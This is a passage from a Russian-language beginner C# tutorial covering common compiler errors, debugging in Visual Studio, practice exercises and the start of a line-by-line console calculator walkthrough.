<code>{}</code>.</p>\n<hr />\n<p><strong><code>CS1002: ; expected</code></strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"w\">   </span><span class=\"c1\">// забыли точку с запятой</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<p>Решение: поставь <code>;</code> в конце строки.</p>\n<hr />\n<p><strong><code>CS0161: Not all code paths return a value</code></strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">GetValue</span><span class=\"p\">(</span><span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">flag</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">flag</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"m\">42</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"c1\">// а если flag = false — что возвращать?? Компилятор не знает!</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Решение: добавь <code>return</code> для всех веток.</p>\n<hr />\n<p><strong><code>CS0117: 'X' does not contain a definition for 'Y'</code></strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;привет&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Lenth</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// опечатка! Правильно Length</span>\n</code></pre></div>\n\n<p>Решение: проверь правописание. Используй подсказки Visual Studio (Ctrl+Space).</p>\n<hr />\n<h3 id=\"ошибки-времени-выполнения-не-компилятора\">Ошибки времени выполнения (не компилятора)</h3>\n<p>Это ошибки которые случаются когда программа уже запущена. Компилятор их не поймает.</p>\n<div class=\"highlight\"><pre><span></span><code>Unhandled exception. System.NullReferenceException: Object reference not set to an instance of an object.\n   at Program.Main(String[] args) in C:\\...\\Program.cs:line 15\n</code></pre></div>\n\n<p>Читай снизу вверх:</p>\n<ul>\n<li><code>line 15</code> — строка где произошла ошибка</li>\n<li><code>Program.Main</code> — в каком методе</li>\n<li><code>NullReferenceException</code> — тип ошибки (что именно случилось)</li>\n</ul>\n<h3 id=\"алгоритм-работы-с-ошибкой\">Алгоритм работы с ошибкой</h3>\n<ol>\n<li><strong>Прочитай ошибку</strong> — буквально, слово за словом</li>\n<li><strong>Перейди на строку</strong> — в Visual Studio кликни на ошибку, курсор переместится</li>\n<li><strong>Посмотри что там</strong> — что за переменная, какой тип, что ты ожидал</li>\n<li><strong>Загугли код ошибки</strong> — <code>C# CS0029</code> даст точное объяснение</li>\n<li><strong>Спроси</strong> — если не понял, это нормально</li>\n</ol>\n<hr />\n<h2 id=\"26-отладчик-твой-главный-инструмент\">26. Отладчик — твой главный инструмент</h2>\n<p>Отладчик — это <strong>режим замедленного выполнения</strong>, где ты видишь что происходит на каждом шаге.</p>\n<h3 id=\"горячие-клавиши-в-visual-studio\">Горячие клавиши в Visual Studio</h3>\n<table>\n<thead>\n<tr>\n<th>Клавиша</th>\n<th>Действие</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>F9</code></td>\n<td>Поставить/убрать <strong>точку остановки</strong> (красный кружок)</td>\n</tr>\n<tr>\n<td><code>F5</code></td>\n<td>Запустить программу (с отладчиком)</td>\n</tr>\n<tr>\n<td><code>F10</code></td>\n<td><strong>Шаг</strong> — выполнить текущую строку и остановиться на следующей</td>\n</tr>\n<tr>\n<td><code>F11</code></td>\n<td><strong>Зайти внутрь</strong> — если строка вызывает метод, зайти в него</td>\n</tr>\n<tr>\n<td><code>Shift+F11</code></td>\n<td><strong>Выйти</strong> из текущего метода</td>\n</tr>\n<tr>\n<td><code>F5</code> (во время отладки)</td>\n<td>Продолжить до следующей точки остановки</td>\n</tr>\n</tbody>\n</table>\n<h3 id=\"как-пользоваться\">Как пользоваться</h3>\n<ol>\n<li>\n<p>Поставь <strong>точку остановки</strong> (breakpoint) — кликни на серую полосу слева от строки (появится красный кружок). Программа остановится перед выполнением этой строки.</p>\n</li>\n<li>\n<p>Запусти через <code>F5</code>. Программа запустится и <strong>остановится</strong> у красного кружка.</p>\n</li>\n<li>\n<p>В этот момент ты можешь:</p>\n<ul>\n<li><strong>Навести мышь на переменную</strong> — всплывёт подсказка с текущим значением</li>\n<li>Посмотреть панель <strong>Locals</strong> (Отладка → Окна → Локальные) — все переменные и их значения</li>\n<li>Нажать <code>F10</code> чтобы выполнить следующую строку</li>\n</ul>\n</li>\n<li>\n<p>Смотри как значения меняются. Если переменная не то что ты ожидал — вот твоя ошибка!</p>\n</li>\n</ol>\n<h3 id=\"пример-найти-баг-с-отладчиком\">Пример: найти баг с отладчиком</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">Sum</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">total</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"c1\">// &lt;= — ошибка! Должно быть &lt;</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">total</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">// здесь упадёт IndexOutOfRangeException</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">total</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Ставишь breakpoint на <code>total += arr[i]</code>, запускаешь F5, жмёшь F10 несколько раз — видишь как <code>i</code> растёт. Когда <code>i = arr.Length</code> — видишь что это выход за границу. Меняешь <code>&lt;=</code> на <code>&lt;</code>.</p>\n<blockquote>\n<p>Не угадывай ошибку — <strong>смотри</strong> на неё через отладчик. Это в разы быстрее.</p>\n</blockquote>\n<hr />\n<h2 id=\"27-задания-для-практики\">27. Задания для практики</h2>\n<p>Читать — мало. Нужно писать. Вот задания по каждой теме — от простого к сложному.</p>\n<hr />\n<h3 id=\"блок-1-переменные-и-типы\">Блок 1: Переменные и типы</h3>\n<p><strong>Задание 1.1 — Знакомство</strong><br />\nОбъяви переменные: своё имя, возраст, рост в метрах, студент ли ты (bool). Выведи всё в консоль в одну читабельную строку с интерполяцией <code>$\"...\"</code>.</p>\n<p><strong>Задание 1.2 — Арифметика</strong><br />\nЗапроси у пользователя его возраст. Посчитай и выведи: через сколько лет ему будет 100. Через сколько лет ему было 18.</p>\n<p><strong>Задание 1.3 — Конвертер</strong><br />\nЗапроси температуру в Цельсиях, переведи в Фаренгейты по формуле <code>F = C * 9/5 + 32</code> и выведи результат.</p>\n<hr />\n<h3 id=\"блок-2-условия-и-циклы\">Блок 2: Условия и циклы</h3>\n<p><strong>Задание 2.1 — Чётное/нечётное</strong><br />\nЗапроси число, выведи «чётное» или «нечётное». Подсказка: <code>число % 2 == 0</code> означает чётное.</p>\n<p><strong>Задание 2.2 — Таблица умножения</strong><br />\nВыведи таблицу умножения на 7 (от 7×1 до 7×10) используя цикл <code>for</code>.</p>\n<p><strong>Задание 2.3 — FizzBuzz</strong><br />\nВыведи числа от 1 до 30. Но: если число делится на 3 — выведи «Fizz», если на 5 — «Buzz», если на оба — «FizzBuzz».</p>\n<p><strong>Задание 2.4 — Угадай число</strong><br />\nПрограмма загадывает число от 1 до 100 (<code>Random rnd = new Random(); int secret = rnd.Next(1, 101);</code>). Пользователь вводит догадки в цикле. Программа говорит «больше», «меньше» или «угадал!» и считает количество попыток.</p>\n<hr />\n<h3 id=\"блок-3-методы\">Блок 3: Методы</h3>\n<p><strong>Задание 3.1 — Максимум</strong><br />\nНапиши метод <code>static int Max(int a, int b)</code> который возвращает большее из двух чисел. Не используй <code>Math.Max</code>.</p>\n<p><strong>Задание 3.2 — Степень</strong><br />\nНапиши метод <code>static double Power(double base, int exp)</code> — возводит число в степень используя цикл (не <code>Math.Pow</code>).</p>\n<p><strong>Задание 3.3 — Палиндром</strong><br />\nНапиши метод <code>static bool IsPalindrome(string s)</code> — возвращает <code>true</code> если строка читается одинаково с обоих концов (например, «казак», «шалаш»).</p>\n<hr />\n<h3 id=\"блок-4-классы-и-ооп\">Блок 4: Классы и ООП</h3>\n<p><strong>Задание 4.1 — Класс Student</strong><br />\nСоздай класс <code>Student</code> с полями: имя, оценка (от 0 до 100). Добавь метод <code>GetGrade()</code> который возвращает «Отлично» / «Хорошо» / «Удовл.» / «Двойка» в зависимости от оценки. Создай несколько студентов, вызови метод.</p>\n<p><strong>Задание 4.2 — Класс Rectangle</strong><br />\nСоздай класс <code>Rectangle</code> с полями ширина и высота. Добавь методы <code>GetArea()</code> (площадь) и <code>GetPerimeter()</code> (периметр). Добавь свойство <code>IsSquare</code> (bool — является ли квадратом).</p>\n<p><strong>Задание 4.3 — Наследование: фигуры</strong><br />\nСоздай базовый класс <code>Shape</code> с абстрактным методом <code>GetArea()</code>. Создай наследников: <code>Circle</code> (радиус), <code>Rectangle</code> (ширина, высота), <code>Triangle</code> (основание, высота). Создай список из разных фигур, пройди по нему и выведи площадь каждой.</p>\n<p><strong>Задание 4.4 — Банковский счёт</strong><br />\nКласс <code>BankAccount</code>: приватное поле <code>balance</code>, методы <code>Deposit(decimal amount)</code>, <code>Withdraw(decimal amount)</code> (возвращает bool — успешно ли), свойство <code>Balance</code> только для чтения. Добавь историю транзакций (<code>List&lt;string&gt;</code>) и метод <code>PrintHistory()</code>.</p>\n<hr />\n<h3 id=\"блок-5-делегаты-и-события\">Блок 5: Делегаты и события</h3>\n<p><strong>Задание 5.1 — Сортировка</strong><br />\nНапиши метод <code>Sort(int[] arr, Func&lt;int, int, bool&gt; compare)</code> который сортирует массив используя переданную функцию сравнения. Вызови его с разными функциями: по возрастанию и по убыванию.</p>\n<p><strong>Задание 5.2 — Фильтр</strong><br />\nНапиши метод <code>static List&lt;T&gt; Filter&lt;T&gt;(List&lt;T&gt; list, Func&lt;T, bool&gt; predicate)</code> — возвращает только те элементы для которых predicate возвращает true. Протестируй: список чисел, оставь только чётные. Список студентов, оставь только отличников.</p>\n<hr />\n<h3 id=\"финальное-задание-записная-книжка-контактов\">Финальное задание: Записная книжка контактов</h3>\n<p>Создай консольное приложение «Контакты»:</p>\n<ul>\n<li>Класс <code>Contact</code> — имя, телефон, email</li>\n<li>Класс <code>ContactBook</code> — хранит список контактов, методы:<ul>\n<li><code>Add(Contact c)</code> — добавить</li>\n<li><code>Remove(string name)</code> — удалить по имени</li>\n<li><code>Find(string query)</code> — найти по имени или телефону (возвращает список совпадений)</li>\n<li><code>PrintAll()</code> — вывести все контакты</li>\n</ul>\n</li>\n<li>Консольное меню: 1-Добавить, 2-Найти, 3-Удалить, 4-Все контакты, 0-Выход</li>\n<li>Событие <code>OnContactAdded</code> — срабатывает при добавлении, выводит сообщение</li>\n</ul>\n<hr />\n<h2 id=\"быстрый-справочник\">Быстрый справочник</h2>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Строки</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">len</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">;</span><span class=\"w\">           </span><span class=\"c1\">// 6</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">upper</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">ToUpper</span><span class=\"p\">();</span><span class=\"w\">   </span><span class=\"c1\">// &quot;ПРИВЕТ&quot;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">lower</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">();</span><span class=\"w\">   </span><span class=\"c1\">// &quot;привет&quot;</span>\n<span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">contains</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"s\">&quot;рив&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// true</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">trimmed</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;  текст  &quot;</span><span class=\"p\">.</span><span class=\"n\">Trim</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// &quot;текст&quot;</span>\n<span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">parts</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;a,b,c&quot;</span><span class=\"p\">.</span><span class=\"n\">Split</span><span class=\"p\">(</span><span class=\"sc\">&#39;,&#39;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// [&quot;a&quot;,&quot;b&quot;,&quot;c&quot;]</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">joined</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"p\">.</span><span class=\"n\">Join</span><span class=\"p\">(</span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">parts</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// &quot;a-b-c&quot;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">formatted</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">$&quot;Имя: {s}, длина: {len}&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// интерполяция строк</span>\n\n<span class=\"c1\">// Массивы</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">[</span><span class=\"m\">5</span><span class=\"p\">];</span><span class=\"w\">       </span><span class=\"c1\">// массив из 5 элементов (все 0)</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"w\"> </span><span class=\"p\">};</span><span class=\"w\">    </span><span class=\"c1\">// инициализация сразу</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">first</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">arr2</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">];</span><span class=\"w\">          </span><span class=\"c1\">// 1 (индексы с нуля!)</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">last</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">arr2</span><span class=\"p\">[</span><span class=\"n\">arr2</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">// 3</span>\n\n<span class=\"c1\">// Списки (List — как массив но изменяемый)</span>\n<span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n<span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">);</span>\n<span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">20</span><span class=\"p\">);</span>\n<span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">Remove</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">);</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">;</span>\n<span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"m\">20</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// true</span>\n\n<span class=\"c1\">// Конвертация</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"s\">&quot;42&quot;</span><span class=\"p\">);</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"s\">&quot;3.14&quot;</span><span class=\"p\">);</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">str</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">42.</span><span class=\"n\">ToString</span><span class=\"p\">();</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">str2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3.14</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">(</span><span class=\"s\">&quot;F2&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// &quot;3.14&quot; (2 знака после запятой)</span>\n</code></pre></div>\n\n<hr />\n<blockquote>\n<p><strong>Напоследок:</strong> Программирование — это навык. Как езда на велосипеде. Читать про него недостаточно — нужно делать. Каждый день пиши хоть что-то. Сломал — отладь. Не понимаешь — загугли. Главное — не останавливаться.</p>\n</blockquote>\n<hr />\n<h2 id=\"28-пишем-консольный-калькулятор-каждая-строка-объяснена\">28. Пишем консольный калькулятор — каждая строка объяснена</h2>\n<p>Это не просто готовый код. Это разбор <strong>каждого решения</strong>: почему написано именно так, что было бы если написать иначе, и где ловушки.</p>\n<p>Будем строить постепенно — от самого простого к полноценной программе.</p>\n<hr />\n<h3 id=\"версия-1-сложить-два-числа\">Версия 1: сложить два числа</h3>\n<p>Цель: ввести два числа, получить сумму. Всего 6 строк.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input2</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"разбор-каждой-строки\">Разбор каждой строки</h4>\n<p><strong><code>Console.Write(\"Первое число: \");</code></strong></p>\n<p>Почему <code>Write</code>, а не <code>WriteLine</code>?<br />\n<code>Console.Write</code> — печатает текст <strong>без</strong> перехода на новую строку. Курсор остаётся на той же строке, и пользователь вводит ответ рядом:</p>\n<div class=\"highlight\"><pre><span></span><code>Первое число: 42_\n</code></pre></div>\n\n<p>Если написать <code>Console.WriteLine</code> — курсор переместится вниз, и будет выглядеть так:</p>\n<div class=\"highlight\"><pre><span></span><code>Первое число:\n42_\n</code></pre></div>\n\n<p>Это некрасиво. Для приглашений ввода всегда используй <code>Write</code>.</p>\n<hr />\n<p><strong><code>string input1 = Console.ReadLine();</code></strong></p>\n<p>Почему тип <code>string</code>, а не сразу <code>double</code>?<br />\nПотому что <code>Console.ReadLine()</code> всегда возвращает строку — просто текст который ввёл пользователь. Компьютер не знает что там: число или слово. Это строка символов <code>\"42\"</code>, а не число <code>42</code>. Нельзя написать:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА — ReadLine() возвращает string, не double</span>\n</code></pre></div>\n\n<p>Сначала читаем строку, потом превращаем в число.</p>\n<hr />\n<p><strong><code>double a = double.Parse(input1);</code></strong></p>\n<p><code>double.Parse(\"42\")</code> превращает строку <code>\"42\"</code> в число <code>42.0</code>.</p>\n<p>Почему <code>double</code>, а не <code>int</code>?<br />\nПользователь может ввести <code>3.14</code> или <code>2.5</code>. <code>int</code> не хранит дробные числа, они обрежутся до <code>3</code> и <code>2</code>. <code>double</code> хранит любые числа с точкой — поэтому для калькулятора правильнее.</p>\n<p>Опасность: если пользователь введёт <code>\"привет\"</code>, то <code>Parse</code> выбросит исключение и программа упадёт с ошибкой. Это мы исправим в следующей версии.</p>\n<hr />\n<p><strong><code>double result = a + b;</code></strong></p>\n<p>Можно было написать и без отдельной переменной:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">));</span>\n</code></pre></div>\n\n<p>Но с переменной <code>result</code> код понятнее и проще отлаживать — видно значение в отладчике.</p>\n<hr />\n<h3 id=\"версия-2-выбор-операции\">Версия 2: выбор операции</h3>\n<p>Добавляем <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Операция (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">    </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"w\"> 